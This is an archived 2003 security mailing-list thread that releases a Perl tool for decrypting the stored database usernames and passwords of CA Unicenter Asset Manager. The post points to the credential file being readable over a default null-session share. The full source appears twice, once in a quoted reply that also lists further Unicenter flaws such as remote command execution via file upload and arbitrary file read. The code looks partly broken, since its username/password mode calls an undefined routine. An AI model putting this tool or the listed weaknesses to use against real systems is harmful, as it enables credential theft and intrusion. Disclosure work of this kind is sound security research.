CA Unicenter Password Recovery Tool

[Tor Houghton]

List,

The following can also be found at:

http://www.kufumo.com/releases/ca-passwordrecover.txt

Thanks,

Tor Houghton

;

$Id: ca-passwordrecover.txt,v 1.3 2003/05/20 10:46:51 torh Exp $

Computer Associates "Asset Manager" Password Recovery Tool

(c) 2003 Tor Houghton (th at kufumo dot com)


++Synopsis++

The Computer Associates' Unicenter Asset Manager(TM) software uses a stored
secret in order to decrypt stored passwords. Attached to this text is a tool
to decrypt these passwords.


++What++

(http://www3.ca.com/Solutions/Collateral.asp?CID=33237&ID=194)

Simply put, it is a data collector with extended privileges. It is comprised
of an "Engine" (and a database), one or more "Sectors", a "Console" and an
"Agent" for each device (Windows or UNIX) that is to be added to the asset
database (see fig 1).

[Console] +-------- [Agent]
| |
v v
[Database] <-- [Engine] --> [Sector] <-- [Agent]
|
+-------> [Sector] <-- [Agent]
^
|
+-------- [Agent]

(figure 1)

The arrows do not depict data flow, but transaction flow. For example, the
Agents do get data from the Sector (and deliver data to it), but the Agent
initiates this transaction.

The Engine issues jobs and collects results (both stored on the Sector) and
the Agent executes these.

On the whole, this looks like a nice design; you could easily firewall the
Engine, Console and Database from the rest of the network, for example.
However, the Sector is (by default) a NULLSESSION share, writable by anyone.

Anyway. This document is not about whether or not it is possible to compromise
any machine with an Agent on it through a Sector, but to release a password
recovery tool.

Here it is.

--

#!/usr/bin/perl
$version='ca-dbpwrecover 1.2 2003/03/19';
##
## (c) th at kufumo.com 2003
##
## this version was based on AMO Unicenter 3.2
##
## thanks to emf at kufumo.com and ssw at kufumo.com for help with the
## disassembly and helping to reverse the encoding algorithm! go daddy!
##
## can't find a suitable file?
##
## (a default installation has the file 'Database.ini' available via a
## nullsession share ("amdomain$") on the machine running the console/
## engine.)
##
##
$|=1;
##

$ironic_seed="NetCon"; ## we predict $ironic_seed will change
## in the next version of CA AMO etc.

$CRYPT="BP7xCtDQqA2EZWoFH6wSIJeMzdYLb9Vfm5uNO4cKRGT3kUX018 apyghijlnrsv";
$CLEAR="ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmn opqrstuvwxyz";

use Getopt::Long;

GetOptions("h",
"u=s" => \$uname,
"p=s" => \$pword,
"f=s" => \$file);

if($opt_h) {
print <<EOM;
$version (c) 2003 th at kufumo.com
usage: ca-dbpwrecover [-h] [-u <username>] [-p <passwd>] [-f <file>]
-h : this
-p : password (if not using files)
-u : username (if not using files)
-f : filename (e.g. 'ca-dbpwrecover -f Database.ini')
EOM
exit(1);
}

if($file) {
DecryptCAEncryption("","",$file);
} else {
if($pword && $uname) {
DecryptCADecryption($pword,$uname,"");
exit(0);
} else {
print "Not enough parameters. Try -h.\n";
exit(1);
}
}

exit();

sub DecryptCAEncryption {
my($pword,$uname,$file)=@_;

my($u,$c,$oa,$ob,$offset);

my(@crypt)=split(//,$CRYPT);

if($file) {
open(IN,$file) || die "error: failed to open $file: $!\n";
while(<IN>) {
if(/^UserName=\#(\S+)\s*$/) {$name=$1;}
if(/^Password=\#(\S+)\s*$/) {$pass=$1;}
}
close(IN);
}

$uname=$name if($name);
$pword=$pass if($pass);

@pass=split(//,$pword);
@user=split(//,$uname);

@nc=split(//,$ironic_seed);

print "Username: ";

$c=5;
for($u=0;$u<@user;$u++) {

## find occurrance of current char ($user[$u]) in cleartext
## keystring:

$_=$CLEAR;

while(m/$user[$u]/g) {
$oa=pos;
}

$oa++;

if($u<@nc) {
$_=$CRYPT;
while(m/$nc[$u]/g) {
$ob=pos;
}
$ob++;
$oa=$oa+($ob*-1);
} else {
$oa=$oa-$u+$c;
$c++;
}

while($oa<0) {
$oa=$oa+62;
}
while($oa>62) {
$oa=$oa-62;
}

$oa--;

push(@clear,$crypt[$oa-1-$u]);

}

foreach(@clear) {
print $_;
}

print "\n";

## who said reuse of code is a good thing?
## i think i failed class here. heck, did you want the tool or not?
##

print "Password: ";

$c=@clear;

for($u=0;$u<@pass;$u++) {

## find occurrance of current char ($user[$u]) in cleartext
## keystring:

$_=$CLEAR;

while(m/$pass[$u]/g) {
$oa=pos;
}
$oa++;

if($u<@clear) {
$_=$CRYPT;
while(m/$clear[$u]/g) {
$ob=pos;
}
$ob++;
$oa=$oa+($ob*-1);
} else {
$oa=$oa-$u+$c-1;
$c++;
}

while($oa<0) {
$oa=$oa+62;
}
while($oa>62) {
$oa=$oa-62;
}

$oa--;

push(@cpass,$crypt[$oa-1-$u]);

}

foreach(@cpass) {
print $_;
}

print "\n";

}

[Joao Gouveia]

--=-M4B1qh1yQiOA4Zzf6e2/
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

Hello Tor, all

While you're at it, you might want to take a look at this. I've came
across with this vulnerabilities while doing a superficial review on
CA's TNG Unicenter. Not sure if some of this may afect "Asset Manager"
or not.

<quote>

#1. Remote command execution via file upload (
http://machine/scripts/file_upload.pl )

#2. A helpdesk user with no special access rights can read any file on
the system were the Service desk daemon has access ( by default
Local/SYSTEM ). The pdmcgi.exe except "templates" as a parameter without
further security check regarding what type of files can be used as
"templates".

#3. pdm_cgireport.exe allows to create and browse any report without
prior authentication.=20

#4. Normal user, who is configured to see only his requests, is able to
see all requests by manipulating pdmcgi.exe queries.
</quote>

AFAIK, all this issues have been fixed, but I have no clue if the fixes
are public or not. You should contact CA if you feel you might be
vulnerable.

Best regards,

Joao Gouveia
------------
tharbad@kaotik.org


On Wed, 2003-06-04 at 16:27, Tor Houghton wrote:
> List,
>=20
> The following can also be found at:
>=20
> http://www.kufumo.com/releases/ca-passwordrecover.txt
>=20
> Thanks,
>=20
> Tor Houghton
>=20
> ;
>=20
> $Id: ca-passwordrecover.txt,v 1.3 2003/05/20 10:46:51 torh Exp $
>=20
> Computer Associates "Asset Manager" Password Recovery Tool
>=20
> (c) 2003 Tor Houghton (th at kufumo dot com)
>=20
>=20
> ++Synopsis++
>=20
> The Computer Associates' Unicenter Asset Manager(TM) software uses a stor=
ed=20
> secret in order to decrypt stored passwords. Attached to this text is a t=
ool=20
> to decrypt these passwords.
>=20
>=20
> ++What++
>=20
> (http://www3.ca.com/Solutions/Collateral.asp?CID=3D33237&ID=3D194)
>=20
> Simply put, it is a data collector with extended privileges. It is compri=
sed
> of an "Engine" (and a database), one or more "Sectors", a "Console" and a=
n=20
> "Agent" for each device (Windows or UNIX) that is to be added to the asse=
t=20
> database (see fig 1).
>=20
> [Console] +-------- [Agent]
> | |
> v v
> [Database] <-- [Engine] --> [Sector] <-- [Agent]
> |
> +-------> [Sector] <-- [Agent]
> ^
> |
> +-------- [Agent]
>=20
> (figure 1)
>=20
> The arrows do not depict data flow, but transaction flow. For example, th=
e=20
> Agents do get data from the Sector (and deliver data to it), but the Agen=
t=20
> initiates this transaction.
>=20
> The Engine issues jobs and collects results (both stored on the Sector) a=
nd
> the Agent executes these.
>=20
> On the whole, this looks like a nice design; you could easily firewall th=
e=20
> Engine, Console and Database from the rest of the network, for example.=20
> However, the Sector is (by default) a NULLSESSION share, writable by anyo=
ne.
>=20
> Anyway. This document is not about whether or not it is possible to compr=
omise
> any machine with an Agent on it through a Sector, but to release a passwo=
rd=20
> recovery tool.
>=20
> Here it is.
>=20
> --
>=20
> #!/usr/bin/perl
> $version=3D'ca-dbpwrecover 1.2 2003/03/19';
> ##
> ## (c) th at kufumo.com 2003
> ##
> ## this version was based on AMO Unicenter 3.2
> ##
> ## thanks to emf at kufumo.com and ssw at kufumo.com for help with the=20
> ## disassembly and helping to reverse the encoding algorithm! go daddy!
> ##=20
> ## can't find a suitable file?
> ##
> ## (a default installation has the file 'Database.ini' available via a=20
> ## nullsession share ("amdomain$") on the machine running the console/
> ## engine.)
> ##
> ##
> $|=3D1;
> ##
>=20
> $ironic_seed=3D"NetCon"; ## we predict $ironic_seed will change
> ## in the next version of CA AMO etc.
>=20
> $CRYPT=3D"BP7xCtDQqA2EZWoFH6wSIJeMzdYLb9Vfm5uNO4cKRGT3kUX018 apyghijlnrsv"=
;
> $CLEAR=3D"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmn opqrstuvwxyz"=
;
>=20
> use Getopt::Long;
>=20
> GetOptions("h",
> "u=3Ds" =3D> \$uname,
> "p=3Ds" =3D> \$pword,
> "f=3Ds" =3D> \$file);
>=20
> if($opt_h) {
> print <<EOM;
> $version (c) 2003 th at kufumo.com
> usage: ca-dbpwrecover [-h] [-u <username>] [-p <passwd>] [-f <file>]
> -h : this
> -p : password (if not using files)
> -u : username (if not using files)
> -f : filename (e.g. 'ca-dbpwrecover -f Database.ini')
> EOM
> exit(1);
> }
>=20
> if($file) {
> DecryptCAEncryption("","",$file);
> } else {
> if($pword && $uname) {
> DecryptCADecryption($pword,$uname,"");
> exit(0);
> } else {
> print "Not enough parameters. Try -h.\n";
> exit(1);
> }
> }
>=20
> exit();
>=20
> sub DecryptCAEncryption {
> my($pword,$uname,$file)=3D@_;
>=20
> my($u,$c,$oa,$ob,$offset);
>=20
> my(@crypt)=3Dsplit(//,$CRYPT);
>=20
> if($file) {
> open(IN,$file) || die "error: failed to open $file: $!\n";
> while(<IN>) {
> if(/^UserName=3D\#(\S+)\s*$/) {$name=3D$1;}
> if(/^Password=3D\#(\S+)\s*$/) {$pass=3D$1;}=20
> }
> close(IN);
> }
>=20
> $uname=3D$name if($name);
> $pword=3D$pass if($pass);
>=20
> @pass=3Dsplit(//,$pword);
> @user=3Dsplit(//,$uname);
>=20
> @nc=3Dsplit(//,$ironic_seed);
>=20
> print "Username: ";
>=20
> $c=3D5;
> for($u=3D0;$u<@user;$u++) {
>=20
> ## find occurrance of current char ($user[$u]) in cleartext
> ## keystring:
>=20
> $_=3D$CLEAR;
>=20
> while(m/$user[$u]/g) {
> $oa=3Dpos;
> }
>=20
> $oa++;
>=20
> if($u<@nc) {
> $_=3D$CRYPT;
> while(m/$nc[$u]/g) {
> $ob=3Dpos;
> }
> $ob++;
> $oa=3D$oa+($ob*-1);
> } else {
> $oa=3D$oa-$u+$c;
> $c++;
> }
>=20
> while($oa<0) {
> $oa=3D$oa+62;
> }
> while($oa>62) {
> $oa=3D$oa-62;
> }
>=20
> $oa--;
>=20
> push(@clear,$crypt[$oa-1-$u]);
>=20
> }
>=20
> foreach(@clear) {
> print $_;
> }
>=20
> print "\n";
>=20
> ## who said reuse of code is a good thing?
> ## i think i failed class here. heck, did you want the tool or not?
> ##
>=20
> print "Password: ";
>=20
> $c=3D@clear;
>=20
> for($u=3D0;$u<@pass;$u++) {
>=20
> ## find occurrance of current char ($user[$u]) in cleartext
> ## keystring:
>=20
> $_=3D$CLEAR;
>=20
> while(m/$pass[$u]/g) {
> $oa=3Dpos;
> }
> $oa++;
>=20
> if($u<@clear) {
> $_=3D$CRYPT;
> while(m/$clear[$u]/g) {
> $ob=3Dpos;
> }
> $ob++;
> $oa=3D$oa+($ob*-1);
> } else {
> $oa=3D$oa-$u+$c-1;
> $c++;
> }
>=20
> while($oa<0) {
> $oa=3D$oa+62;
> }
> while($oa>62) {
> $oa=3D$oa-62;
> }
>=20
> $oa--;
>=20
> push(@cpass,$crypt[$oa-1-$u]);
>=20
> }
>=20
> foreach(@cpass) {
> print $_;
> }
>=20
> print "\n";
>=20
> }

--=-M4B1qh1yQiOA4Zzf6e2/
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQA+3jixBhvB6ogSmsoRAsimAJ9SeE0ftQb8+RA2vcz+WK duWaotsgCgl4YK
kBWyTEzQ+x5+qqHAi1phnQE=
=wTrr
-----END PGP SIGNATURE-----

--=-M4B1qh1yQiOA4Zzf6e2/--